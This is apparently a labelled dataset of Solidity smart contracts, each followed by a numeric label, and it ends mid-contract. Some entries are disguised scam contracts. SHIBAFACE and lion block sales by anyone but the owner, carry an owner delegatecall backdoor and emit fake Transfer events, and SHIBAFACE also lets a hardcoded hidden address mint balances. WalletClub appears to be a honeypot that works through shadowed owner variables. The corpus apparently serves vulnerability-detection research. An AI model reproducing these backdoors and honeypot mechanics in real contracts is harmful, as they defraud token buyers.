if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SHIBAFACE {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,779 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DBB_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "Document bill bit";
string public symbol = "DBB";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 200000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 539 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract lion {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,249 |
pragma solidity ^0.4.17;
contract Owned
{
address admin = msg.sender;
address owner = msg.sender;
address newOwner;
function isOwner()
public
constant
returns(bool)
{
return owner == msg.sender;
}
function changeOwner(address addr)
public
{
if(isOwner())
{
newOwner = addr;
}
}
function confirmOwner()
public
{
if(msg.sender==newOwner)
{
owner=newOwner;
}
}
function WithdrawToAdmin(uint val)
public
{
if(msg.sender==admin)
{
admin.transfer(val);
}
}
}
contract WalletClub is Owned
{
mapping (address => uint) public Members;
address public owner;
uint256 public TotalFunds;
function initWallet()
public
{
owner = msg.sender;
}
function TopUpMember()
public
payable
{
if(msg.value >= 1 ether)
{
Members[msg.sender]+=msg.value;
TotalFunds += msg.value;
}
}
function()
public
payable
{
TopUpMember();
}
function WithdrawToMember(address _addr, uint _wei)
public
{
if(Members[_addr]>0)
{
if(isOwner())
{
if(_addr.send(_wei))
{
if(TotalFunds>=_wei)TotalFunds-=_wei;
else TotalFunds=0;
}
}
}
}
} | 1 | 3,387 |
pragma solidity ^0.4.24;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SEcoinAbstract {function unlock() public;}
contract SECrowdsale {
using SafeMath for uint256;
address constant public SEcoin = 0xe45b7cd82ac0f3f6cfc9ecd165b79d6f87ed2875;
uint256 public startTime;
uint256 public endTime;
address public SEcoinWallet = 0x5C737AdC09a0cFA1C9b83E199971a677163ddd07;
address public SEcoinsetWallet = 0x52873e9191f21a26ddc8b65e5dddbac6b73b69e8;
uint256 public rate = 6000;
uint256 public weiRaised;
uint256 public weiSold;
address public SEcoinbuyer;
address[] public SEcoinbuyerevent;
uint256[] public SEcoinAmountsevent;
uint256[] public SEcoinmonth;
uint public firstbuy;
uint SEcoinAmounts ;
uint SEcoinAmountssend;
mapping(address => uint) public icobuyer;
mapping(address => uint) public icobuyer2;
event TokenPurchase(address indexed purchaser, address indexed SEcoinbuyer, uint256 value, uint256 amount,uint SEcoinAmountssend);
function () external payable {buyTokens(msg.sender);}
function buyer(address SEcoinbuyer) internal{
if(icobuyer[msg.sender]==0){
icobuyer[msg.sender] = firstbuy;
icobuyer2[msg.sender] = firstbuy;
firstbuy++;
SEcoinbuyerevent.push(SEcoinbuyer);
SEcoinAmountsevent.push(SEcoinAmounts);
SEcoinmonth.push(0);
}else if(icobuyer[msg.sender]!=0){
uint i = icobuyer2[msg.sender];
SEcoinAmountsevent[i]=SEcoinAmountsevent[i]+SEcoinAmounts;
icobuyer2[msg.sender]=icobuyer[msg.sender];}
}
function buyTokens(address SEcoinbuyer) public payable {
require(SEcoinbuyer != address(0x0));
require(selltime());
require(msg.value>=1*1e16 && msg.value<=200*1e18);
SEcoinAmounts = calculateObtainedSEcoin(msg.value);
SEcoinAmountssend= calculateObtainedSEcoinsend(SEcoinAmounts);
weiRaised = weiRaised.add(msg.value);
weiSold = weiSold.add(SEcoinAmounts);
require(ERC20Basic(SEcoin).transfer(SEcoinbuyer, SEcoinAmountssend));
buyer(msg.sender);
checkRate();
forwardFunds();
emit TokenPurchase(msg.sender, SEcoinbuyer, msg.value, SEcoinAmounts,SEcoinAmountssend);
}
function forwardFunds() internal {
SEcoinWallet.transfer(msg.value);
}
function calculateObtainedSEcoin(uint256 amountEtherInWei) public view returns (uint256) {
checkRate();
return amountEtherInWei.mul(rate);
}
function calculateObtainedSEcoinsend (uint SEcoinAmounts)public view returns (uint){
return SEcoinAmounts.div(10);
}
function selltime() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
return withinPeriod;
}
function hasEnded() public view returns (bool) {
bool isEnd = now > endTime || weiRaised >= 299600000*1e18;
return isEnd;
}
function releaseSEcoin() public returns (bool) {
require (msg.sender == SEcoinsetWallet);
require (hasEnded() && startTime != 0);
SEcoinAbstract(SEcoin).unlock();
}
function getunselltoken()public returns(bool){
require (msg.sender == SEcoinsetWallet);
require (hasEnded() && startTime != 0);
uint256 remainedSEcoin = ERC20Basic(SEcoin).balanceOf(this)-weiSold;
ERC20Basic(SEcoin).transfer(SEcoinWallet, remainedSEcoin);
}
function getunselltokenB()public returns(bool){
require (msg.sender == SEcoinsetWallet);
require (hasEnded() && startTime != 0);
uint256 remainedSEcoin = ERC20Basic(SEcoin).balanceOf(this);
ERC20Basic(SEcoin).transfer(SEcoinWallet, remainedSEcoin);
}
function start() public returns (bool) {
require (msg.sender == SEcoinsetWallet);
require (firstbuy==0);
startTime = 1541001600;
endTime = 1543593599;
SEcoinbuyerevent.push(SEcoinbuyer);
SEcoinAmountsevent.push(SEcoinAmounts);
SEcoinmonth.push(0);
firstbuy=1;
}
function changeSEcoinWallet(address _SEcoinsetWallet) public returns (bool) {
require (msg.sender == SEcoinsetWallet);
SEcoinsetWallet = _SEcoinsetWallet;
}
function checkRate() public returns (bool) {
if (now>=startTime && now< 1541433599){
rate = 6000;
}else if (now >= 1541433599 && now < 1542297599) {
rate = 5000;
}else if (now >= 1542297599 && now < 1543161599) {
rate = 4000;
}else if (now >= 1543161599) {
rate = 3500;
}
}
function getICOtoken(uint number)public returns(string){
require(SEcoinbuyerevent[number] == msg.sender);
require(now>=1543593600&&now<=1567267199);
uint _month;
if(now>=1543593600 && now<=1546271999 && SEcoinmonth[number]==0){
require(SEcoinmonth[number]==0);
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=1;
}
else if(now>=1546272000 && now<=1548950399 && SEcoinmonth[number]<=1){
if(SEcoinmonth[number]==1){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=2;
}else if(SEcoinmonth[number]<1){
_month = 2-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=2;}
}
else if(now>=1548950400 && now<=1551369599 && SEcoinmonth[number]<=2){
if(SEcoinmonth[number]==2){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=3;
}else if(SEcoinmonth[number]<2){
_month = 3-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=3;}
}
else if(now>=1551369600 && now<=1554047999 && SEcoinmonth[number]<=3){
if(SEcoinmonth[number]==3){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=4;
}else if(SEcoinmonth[number]<3){
_month = 4-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=4;}
}
else if(now>=1554048000 && now<=1556639999 && SEcoinmonth[number]<=4){
if(SEcoinmonth[number]==4){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=5;
}else if(SEcoinmonth[number]<4){
_month = 5-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=5;}
}
else if(now>=1556640000 && now<=1559318399 && SEcoinmonth[number]<=5){
if(SEcoinmonth[number]==5){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=6;
}else if(SEcoinmonth[number]<5){
_month = 6-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=6;}
}
else if(now>=1559318400 && now<=1561910399 && SEcoinmonth[number]<=6){
if(SEcoinmonth[number]==6){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=7;
}else if(SEcoinmonth[number]<6){
_month = 7-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=7;}
}
else if(now>=1561910400 && now<=1564588799 && SEcoinmonth[number]<=7){
if(SEcoinmonth[number]==7){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=8;
}else if(SEcoinmonth[number]<7){
_month = 8-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=8;}
}
else if(now>=1564588800 && now<=1567267199 && SEcoinmonth[number]<=8){
if(SEcoinmonth[number]==8){
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], SEcoinAmountsevent[number].div(10));
SEcoinmonth[number]=9;
}else if(SEcoinmonth[number]<8){
_month = 9-SEcoinmonth[number];
ERC20Basic(SEcoin).transfer(SEcoinbuyerevent[number], (SEcoinAmountsevent[number].div(10))*_month);
SEcoinmonth[number]=9;}
}
else if(now<1543593600 || now>1567267199 || SEcoinmonth[number]>=9){
revert("Get all tokens or endtime");
}
}
} | 1 | 2,745 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
